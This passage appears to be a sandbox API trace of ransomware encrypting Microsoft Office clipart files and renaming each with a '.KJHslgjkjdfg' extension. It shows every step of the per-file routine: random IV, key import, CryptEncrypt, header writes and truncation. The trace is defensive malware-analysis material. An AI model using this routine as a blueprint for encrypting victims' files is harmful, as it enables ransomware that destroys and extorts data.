pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9b40, dwBufLen=0x9b40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9b40) returned 1 [0199.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.134] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9b40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9b40, lpOverlapped=0x0) returned 1 [0199.134] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.134] SetEndOfFile (hFile=0x130) returned 1 [0199.137] GetProcessHeap () returned 0x990000 [0199.137] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.137] GetProcessHeap () returned 0x990000 [0199.137] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf.kjhslgjkjdfg")) returned 1 [0199.139] CloseHandle (hObject=0x130) returned 1 [0199.139] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0217262.WMF", cAlternateFileName="")) returned 1 [0199.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.140] GetProcessHeap () returned 0x990000 [0199.140] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.140] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.140] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0199.143] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.143] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.143] GetProcessHeap () returned 0x990000 [0199.143] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.143] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.143] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.143] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.143] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.143] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.143] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.144] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.144] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.144] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.144] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1484, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1484, lpOverlapped=0x0) returned 1 [0199.145] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1490, dwBufLen=0x1490 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1490) returned 1 [0199.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.145] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1490, lpOverlapped=0x0) returned 1 [0199.145] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.145] SetEndOfFile (hFile=0x130) returned 1 [0199.156] GetProcessHeap () returned 0x990000 [0199.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.157] GetProcessHeap () returned 0x990000 [0199.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf.kjhslgjkjdfg")) returned 1 [0199.159] CloseHandle (hObject=0x130) returned 1 [0199.159] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0217302.WMF", cAlternateFileName="")) returned 1 [0199.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.160] GetProcessHeap () returned 0x990000 [0199.160] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.160] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.161] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0199.165] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.165] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.165] GetProcessHeap () returned 0x990000 [0199.165] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.165] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.165] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.165] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.165] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.165] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.165] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.166] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.166] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.166] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.166] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd9a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd9a, lpOverlapped=0x0) returned 1 [0199.166] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xda0, dwBufLen=0xda0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xda0) returned 1 [0199.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.166] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xda0, lpOverlapped=0x0) returned 1 [0199.166] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.166] SetEndOfFile (hFile=0x130) returned 1 [0199.169] GetProcessHeap () returned 0x990000 [0199.169] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.169] GetProcessHeap () returned 0x990000 [0199.169] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf.kjhslgjkjdfg")) returned 1 [0199.171] CloseHandle (hObject=0x130) returned 1 [0199.171] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0217872.WMF", cAlternateFileName="")) returned 1 [0199.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.172] GetProcessHeap () returned 0x990000 [0199.172] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.173] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.173] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.173] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.175] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.175] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.175] GetProcessHeap () returned 0x990000 [0199.175] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.175] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.175] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.175] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.175] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.175] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.176] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.176] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.176] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.176] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.176] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ca8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ca8, lpOverlapped=0x0) returned 1 [0199.179] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1cb0, dwBufLen=0x1cb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1cb0) returned 1 [0199.179] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.179] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1cb0, lpOverlapped=0x0) returned 1 [0199.179] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.179] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.179] SetEndOfFile (hFile=0x130) returned 1 [0199.182] GetProcessHeap () returned 0x990000 [0199.182] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.182] GetProcessHeap () returned 0x990000 [0199.182] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf.kjhslgjkjdfg")) returned 1 [0199.184] CloseHandle (hObject=0x130) returned 1 [0199.184] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8ad6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0227419.JPG", cAlternateFileName="")) returned 1 [0199.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.186] GetProcessHeap () returned 0x990000 [0199.186] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.186] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.186] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0199.189] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.189] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.189] GetProcessHeap () returned 0x990000 [0199.189] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.189] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.189] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.189] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.189] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.189] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.189] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.189] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.190] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.190] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.190] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8ad6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8ad6, lpOverlapped=0x0) returned 1 [0199.191] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8ae0, dwBufLen=0x8ae0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8ae0) returned 1 [0199.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.192] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8ae0, lpOverlapped=0x0) returned 1 [0199.192] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.192] SetEndOfFile (hFile=0x130) returned 1 [0199.195] GetProcessHeap () returned 0x990000 [0199.195] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.195] GetProcessHeap () returned 0x990000 [0199.195] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.kjhslgjkjdfg")) returned 1 [0199.197] CloseHandle (hObject=0x130) returned 1 [0199.197] FindNextFileW (in: 